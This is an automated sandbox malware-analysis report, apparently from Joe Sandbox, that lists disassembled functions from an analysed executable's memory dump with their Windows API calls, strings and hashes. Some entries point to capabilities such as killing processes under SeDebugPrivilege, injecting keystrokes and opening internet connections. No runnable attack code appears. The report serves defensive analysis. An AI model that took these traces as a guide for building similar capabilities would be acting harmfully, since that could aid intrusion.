Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
String ID:
API String ID: 3210457359-0
Opcode ID: 5f6ab7627f76ea3b8a39171810e9d5221dc986089ed0ebad8dd27b255cb31b05
Instruction ID: e6acbe276b03ad285a4b174feb69dd3a51210b9e4b350756daafc624c69ce3c2
Opcode Fuzzy Hash: 5f6ab7627f76ea3b8a39171810e9d5221dc986089ed0ebad8dd27b255cb31b05
Instruction Fuzzy Hash: EA51AE70AD5A09BEEF209F64CC46BD83B69EB05361F15C113FA24963E0C775E988DB40

Function 00958B06 Relevance: 13.7, APIs: 9, Instructions: 155windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,?,00000010,00000010,00000010), ref: 00996890
ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 009968A9
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 009968B9
ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 009968D1
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 009968F2
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00958874,00000000,00000000,00000000,000000FF,00000000), ref: 00996901
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0099691E
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00958874,00000000,00000000,00000000,000000FF,00000000), ref: 0099692D

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID:
API String ID: 1268354404-0
Opcode ID: 30f5fdf5fd95662441ddcd02c330f6c3c546a338deb7f1001f75c5def69c50b7
Instruction ID: b83f7b9c3b8ebdb4e796cbf4b6ad824973fa8acb3ec29396fe6aa9205c3904e6
Opcode Fuzzy Hash: 30f5fdf5fd95662441ddcd02c330f6c3c546a338deb7f1001f75c5def69c50b7
Instruction Fuzzy Hash: FB519DB0600205EFDF20CF2ACC55FAA7BB9FB88761F104519F952A72A0DB70E995DB50

Function 009BC143 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 009BC182
GetLastError.KERNEL32 ref: 009BC195
SetEvent.KERNEL32(?), ref: 009BC1A9

Part of subcall function 009BC253: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 009BC272
Part of subcall function 009BC253: GetLastError.KERNEL32 ref: 009BC322
Part of subcall function 009BC253: SetEvent.KERNEL32(?), ref: 009BC336
Part of subcall function 009BC253: InternetCloseHandle.WININET(00000000), ref: 009BC341

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
String ID:
API String ID: 337547030-0
Opcode ID: 1978c44bb60590a715c538fc7d7ee474218eef78f2f201556cf09d8588ebb338
Instruction ID: 0b7626ffd35bf3e6c8cf874e2d40bdf469e7209cf04f5b11452e45923655a3f1
Opcode Fuzzy Hash: 1978c44bb60590a715c538fc7d7ee474218eef78f2f201556cf09d8588ebb338
Instruction Fuzzy Hash: 6931A0B1245606BFDB219FA5DE04AA6BBFDFF58320B00441EF966C6610C730E850EBA0

Function 009A25A2 Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 009A3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 009A3A57
Part of subcall function 009A3A3D: GetCurrentThreadId.KERNEL32 ref: 009A3A5E
Part of subcall function 009A3A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,009A25B3), ref: 009A3A65

MapVirtualKeyW.USER32(00000025,00000000), ref: 009A25BD
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 009A25DB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 009A25DF
MapVirtualKeyW.USER32(00000025,00000000), ref: 009A25E9
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 009A2601
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 009A2605
MapVirtualKeyW.USER32(00000025,00000000), ref: 009A260F
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 009A2623
Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 009A2627

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 5199a52b1d589be2149205d2f235447efddc3c168f2aca124ea86690cd9dbe28
Instruction ID: 02de8259b9f2e1f1ce8e78a0b3c02bb077ee8ea69fa32b297c9fb3d03d98730a
Opcode Fuzzy Hash: 5199a52b1d589be2149205d2f235447efddc3c168f2aca124ea86690cd9dbe28
Instruction Fuzzy Hash: 4501D8707D8321BBFB106B689C8AF593F59DB8EB11F500002F314AF0D1C9E15484DAA9

Function 009A1803 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,009A1449,?,?,00000000), ref: 009A180C
HeapAlloc.KERNEL32(00000000,?,009A1449,?,?,00000000), ref: 009A1813
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,009A1449,?,?,00000000), ref: 009A1828
GetCurrentProcess.KERNEL32(?,00000000,?,009A1449,?,?,00000000), ref: 009A1830
DuplicateHandle.KERNEL32(00000000,?,009A1449,?,?,00000000), ref: 009A1833
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,009A1449,?,?,00000000), ref: 009A1843
GetCurrentProcess.KERNEL32(009A1449,00000000,?,009A1449,?,?,00000000), ref: 009A184B
DuplicateHandle.KERNEL32(00000000,?,009A1449,?,?,00000000), ref: 009A184E
CreateThread.KERNEL32(00000000,00000000,009A1874,00000000,00000000,00000000), ref: 009A1868

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 2283ad668598682ca35b9793f9479d5e579f68f402e4ce16d57668a3736b3bf3
Instruction ID: 857094701d6eb04a1ec85eb02285729e154251f40d40a6996eb480a5b63fef31
Opcode Fuzzy Hash: 2283ad668598682ca35b9793f9479d5e579f68f402e4ce16d57668a3736b3bf3
Instruction Fuzzy Hash: 6901FBB5295319BFE710ABA5DC4DF6B3BACEB89B40F004411FA04DB1A1CA709840DB20

Function 009CA0E2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 009AD4DC: CreateToolhelp32Snapshot.KERNEL32 ref: 009AD501
Part of subcall function 009AD4DC: Process32FirstW.KERNEL32(00000000,?), ref: 009AD50F
Part of subcall function 009AD4DC: CloseHandle.KERNELBASE(00000000), ref: 009AD5DC

OpenProcess.KERNEL32(00000001,00000000,?), ref: 009CA16D
GetLastError.KERNEL32 ref: 009CA180
OpenProcess.KERNEL32(00000001,00000000,?), ref: 009CA1B3
TerminateProcess.KERNEL32(00000000,00000000), ref: 009CA268
GetLastError.KERNEL32(00000000), ref: 009CA273
CloseHandle.KERNEL32(00000000), ref: 009CA2C4

Strings

SeDebugPrivilege, xrefs: 009CA18F

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: bd102b8df0061823b3a29530d3a86671422b71b4f11d456d195253013ce34b2e
Instruction ID: 6f16c3e6a8687418cc736952760475dd295aca9fec9a4bbeeb3a630a8ec83d59
Opcode Fuzzy Hash: bd102b8df0061823b3a29530d3a86671422b71b4f11d456d195253013ce34b2e
Instruction Fuzzy Hash: A06190706092529FD720DF14C494F19BBE5AF8431CF18849CE4668B7A3C776ED49CB92

Function 009D3886 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 009D3925
SendMessageW.USER32(00000000,00001036,00000000,?), ref: 009D393A
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 009D3954
_wcslen.LIBCMT ref: 009D3999
SendMessageW.USER32(?,00001057,00000000,?), ref: 009D39C6
SendMessageW.USER32(?,00001061,?,0000000F), ref: 009D39F4

Strings

SysListView32, xrefs: 009D38F7

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessageSend$Window_wcslen
String ID: SysListView32
API String ID: 2147712094-78025650
Opcode ID: de507b20cc5d92adc06bf690d400952004cb29ee184a926ca028012e92626b00
Instruction ID: f0ee36cc14b6a87a787a22bbbb34ddaf620bc01b7d72303e5db88edcbac82bdb
Opcode Fuzzy Hash: de507b20cc5d92adc06bf690d400952004cb29ee184a926ca028012e92626b00
Instruction Fuzzy Hash: 2D41C271A40219ABEF219F64CC45FEA7BA9EF48350F108527F948E7281D771DA80CB90

Function 009ABC5E Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 009ABCFD
IsMenu.USER32(00000000), ref: 009ABD1D
CreatePopupMenu.USER32 ref: 009ABD53
GetMenuItemCount.USER32(018076D0), ref: 009ABDA4
InsertMenuItemW.USER32(018076D0,?,00000001,00000030), ref: 009ABDCC

Strings

0, xrefs: 009ABCA8
2, xrefs: 009ABD37

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 0$2
API String ID: 93392585-3793063076
Opcode ID: 05281a33f1d650f64c265b5f06e6269d2f01cc4b352eadbe5a50a8c88d6f22ef
Instruction ID: a256475740505655403886444590224f474e61375c2217f8c48f0991a027f287
Opcode Fuzzy Hash: 05281a33f1d650f64c265b5f06e6269d2f01cc4b352eadbe5a50a8c88d6f22ef
Instruction Fuzzy Hash: F7519EB0A042059BDF10CFB8D884BAEBBF8BF86314F14465AF551EB2D2D7709941CBA1

Function 009AC874 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 009AC913

Strings

blank, xrefs: 009AC895
question, xrefs: 009AC8CC
info, xrefs: 009AC8B4
stop, xrefs: 009AC8E4
warning, xrefs: 009AC8FC

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 8cede7d259710edc24127d932dc6cfe17303f6f6b6ed66dcdf9cea27072a28fd
Instruction ID: 4c2a4e00965367e5df4c5b3013df748d325112cda85248d0962098b000d101fe
Opcode Fuzzy Hash: 8cede7d259710edc24127d932dc6cfe17303f6f6b6ed66dcdf9cea27072a28fd
Instruction Fuzzy Hash: F2112B7568930ABAE7015B94AC82DAB27DCEF56318B10042EF500AA2C2D7A45E0062E5

Function 009ADE27 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 009ADE42
gethostname.WSOCK32(?,00000100), ref: 009ADE5C
gethostbyname.WSOCK32(?), ref: 009ADE69
inet_ntoa.WSOCK32(?), ref: 009ADEAB
_strcat.LIBCMT ref: 009ADEB9
WSACleanup.WSOCK32 ref: 009ADEDE

Strings

0.0.0.0, xrefs: 009ADE87

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 642191829-3771769585
Opcode ID: 872fc65e49d8a55b81f8e8aab1d5fdce065577bc71a643641bc704dc9213d529
Instruction ID: 40e949fccf509addbc5b0f8679eb758d891b35b5562dee47f3277efd30dc25bd
Opcode Fuzzy Hash: 872fc65e49d8a55b81f8e8aab1d5fdce065577bc71a643641bc704dc9213d529
Instruction Fuzzy Hash: 74115971945105BFCB20AB70DC4AEEF77ACDF52710F10016AF44696091EF708A80DAA0

Function 009D9F86 Relevance: 12.3, APIs: 8, Instructions: 260windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00959BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00959BB2

GetSystemMetrics.USER32(0000000F), ref: 009D9FC7
GetSystemMetrics.USER32(0000000F), ref: 009D9FE7
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 009DA224
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 009DA242
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 009DA263
ShowWindow.USER32(00000003,00000000), ref: 009DA282
InvalidateRect.USER32(?,00000000,00000001), ref: 009DA2A7
DefDlgProcW.USER32(?,00000005,?,?), ref: 009DA2CA

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: 86c6f8d3749089d69ab945a33d338691891ac3b852ef6bd22b8efd2d0916c2f9
Instruction ID: bcf9fd28ecda5326ca66d95f229a4a370713e551b50d0a5843e77ecdbad9e14a
Opcode Fuzzy Hash: 86c6f8d3749089d69ab945a33d338691891ac3b852ef6bd22b8efd2d0916c2f9
Instruction Fuzzy Hash: 38B1B831640216AFDF14CF69C9847AE3BB6FF44311F08C06AED59AB399D731A9A0CB51

Function 009AED19 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 009AED2A
_wcslen.LIBCMT ref: 009AED3B
_wcslen.LIBCMT ref: 009AED79
_wcslen.LIBCMT ref: 009AEDAF
_wcslen.LIBCMT ref: 009AEDDF
_wcslen.LIBCMT ref: 009AEDEF
_wcslen.LIBCMT ref: 009AEE2B
_wcslen.LIBCMT ref: 009AEE5A

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: _wcslen$LocalTime
String ID:
API String ID: 952045576-0
Opcode ID: ac10c00ef252f2fe5ac4765905bc6fe8c2943a448cd86fe6c40819c8b53b648a
Instruction ID: d1963fe18be2fb648e9b3f5c7a39956859a49343e058cc6d2a9044c021731213
Opcode Fuzzy Hash: ac10c00ef252f2fe5ac4765905bc6fe8c2943a448cd86fe6c40819c8b53b648a
Instruction Fuzzy Hash: 27419265D1121875DB11EBF4888AACFB7ACAF86710F508462F528E3121FB34E255C7E5

Function 0095F8D8 Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,0099682C,00000004,00000000,00000000), ref: 0095F953
ShowWindow.USER32(FFFFFFFF,00000006,?,00000000,?,0099682C,00000004,00000000,00000000), ref: 0099F3D1
ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,0099682C,00000004,00000000,00000000), ref: 0099F454

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 602db4c9c67f63b0ab722d0ef655fcd3113d82980831112e19be923ca18c7e80
Instruction ID: 0e815470e662a1871cfbbdcc84b0c6a62b2f17b05319cb9e41063993c9c37a62
Opcode Fuzzy Hash: 602db4c9c67f63b0ab722d0ef655fcd3113d82980831112e19be923ca18c7e80
Instruction Fuzzy Hash: 4A414031108E40BACB34CB3ED8BC76ABB99AB563B2F14443DE84792560C63694C8D711

Function 009D2D03 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 009D2D1B
GetDC.USER32(00000000), ref: 009D2D23
GetDeviceCaps.GDI32(00000000,0000005A), ref: 009D2D2E
ReleaseDC.USER32(00000000,00000000), ref: 009D2D3A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 009D2D76
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 009D2D87
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,009D5A65,?,?,000000FF,00000000,?,000000FF,?), ref: 009D2DC2
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 009D2DE1

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: cc60f82656606e13d7e8cf437001bfe7be7c33eeaa3d6c52f314c95b2d691763
Instruction ID: da83df8075a0daa859e26cafe0bd4fc0459dff344a386851455910f80b5d6aeb
Opcode Fuzzy Hash: cc60f82656606e13d7e8cf437001bfe7be7c33eeaa3d6c52f314c95b2d691763
Instruction Fuzzy Hash: AC319F72296214BFEF114F50CC89FEB3BADEF19711F044056FE089A291C6759C80C7A0

Function 009A5622 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 009A5637
_memcmp.LIBVCRUNTIME ref: 009A5659
_memcmp.LIBVCRUNTIME ref: 009A5671
_memcmp.LIBVCRUNTIME ref: 009A5684
_memcmp.LIBVCRUNTIME ref: 009A569E
_memcmp.LIBVCRUNTIME ref: 009A56B1
_memcmp.LIBVCRUNTIME ref: 009A56C9
_memcmp.LIBVCRUNTIME ref: 009A56E4

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 2f8aaa55b237fab4f057b4a814edd7cdc259444d311e755bb1312d7dae4547ee
Instruction ID: 8a16885b4fdb7ea8d15f9e9cea112af35d815d7712ab92341f9f032e3c86144c
Opcode Fuzzy Hash: 2f8aaa55b237fab4f057b4a814edd7cdc259444d311e755bb1312d7dae4547ee
Instruction Fuzzy Hash: 1121EB71780A09BBD61856208E93FFB335CAFA2388F498431FD169A781F725ED2081E5

Function 009C4FAE Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 009C5007
NULL Pointer assignment, xrefs: 009C502E, 009C5383

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
